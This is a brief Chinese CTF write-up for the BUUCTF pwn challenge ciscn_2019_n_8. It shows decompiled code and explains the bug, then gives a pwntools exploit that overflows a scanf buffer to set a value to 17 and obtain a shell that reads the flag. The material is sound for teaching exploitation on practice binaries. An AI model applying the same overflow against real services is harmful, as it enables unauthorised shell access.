BUUCTF pwn ciscn_2019_n_8

0x01 文件分析

在這裏插入圖片描述
 文件很簡單,32位,保護都開得差不多。

0x02 運行

在這裏插入圖片描述
 輸入並且回顯。

0x03 IDA源碼分析

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp-14h] [ebp-20h]
  int v5; // [esp-10h] [ebp-1Ch]

  var[13] = 0;
  var[14] = 0;
  init();
  puts("What's your name?");
  __isoc99_scanf("%s", var, v4, v5);
  if ( *(_QWORD *)&var[13] )
  {
    if ( *(_QWORD *)&var[13] == 17LL )
      system("/bin/sh");
    else
      printf(
        "something wrong! val is %d",
        var[0],
        var[1],
        var[2],
        var[3],
        var[4],
        var[5],
        var[6],
        var[7],
        var[8],
        var[9],
        var[10],
        var[11],
        var[12],
        var[13],
        var[14]);
  }
  else
  {
    printf("%s, Welcome!\n", var);
    puts("Try do something~");
  }
  return 0;
}

在這裏插入圖片描述
 var可以看做是一個int型的數組,根據源碼得到*(_QWORD *)&var[13] == 17就可以得到shell,QWORD是8個字節,所以意思是要將var[13]之後的8個字節的數據賦值爲17。

0x04 exp

from pwn import *

p = process('./pwn')

p.sendline("s"*13*4+p64(0x11)+"sss")

p.sendline('cat flag')
p.interactive()

一個簡單的網絡安全公衆號,歡迎各位朋友們關注!

在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章